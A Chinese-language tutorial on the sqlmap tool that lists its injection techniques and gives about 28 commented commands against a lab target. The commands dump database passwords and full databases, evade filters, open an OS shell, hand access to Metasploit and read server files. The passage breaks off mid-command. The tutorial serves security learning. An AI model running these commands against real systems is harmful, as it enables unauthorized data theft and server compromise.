目录
0X01 背景介绍
官网:http://sqlmap.org
目前支持的数据库有:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB等
Sqlmap采用了以下5种独特的SQL注入技术:
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能还包括:
- 数据库指纹识别
- 数据库名枚举
- 数据提取
- 访问目标文件系统,getshell。
0X02 原理简述
工作流程结构图:
推荐sqlmap详细原理博客:SQLMAP 流程分析 - 简书
0X03 参数说明
1、sqlmap -r http.txt # http.txt是我们抓取的http的请求包
2、sqlmap -r http.txt -p username # 指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
3、sqlmap -u "http://www.xxxxx.com/username/admin*" # 如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
4、sqlmap -u "http://192.168.1.1/Less-1/?id=1" # 探测该url是否存在漏洞
5、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --cookie="抓取的cookie" # 当该网站需要登录时,探测该url是否存在漏洞
6、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" # 抓取其post提交的data数据填入
7、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --users # 查看数据库的所有用户
8、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --passwords # 查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下:
-D mysql -T user -C host,user,password --dump # 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump # 当MySQL>= 5.7时
9、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --current-user # 查看数据库当前的用户
10、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --is-dba # 判断当前用户是否有管理员权限
11、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --roles # 列出数据库所有管理员角色,仅适用于oracle数据库的时候
12、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --dbs # 爆出所有的数据库
13、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --tables # 爆出所有的数据表
14、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --columns # 爆出数据库中所有的列
15、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --current-db # 查看当前的数据库
16、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security --tables # 爆出数据库security中的所有的表
17、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users --columns # 爆出security数据库中users表中的所有的列
18、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump # 爆出数据库security中的users表中的username列中的所有数据
19、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 # 爆出数据库security中的users表中的username列中的前100条数据
20、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users --dump-all # 爆出数据库security中的users表中的所有数据
21、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security --dump-all # 爆出数据库security中的所有数据
22、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --dump-all # 爆出该数据库中的所有数据
23、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --tamper=space2comment.py # 指定脚本进行过滤,用/**/代替空格
24、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --level=5 --risk=3 # 探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
25、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --sql-shell # 执行指定的sql语句
26、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --os-shell/--os-cmd # 执行--os-shell命令,获取目标服务器权限
27、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --os-pwn # 执行--os-pwn命令,将目标权限弹到MSF上
28、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --file-read "D:/test.txt" # 读取目标服务器D盘下的test.txt文件
29、sqlmap -u "http: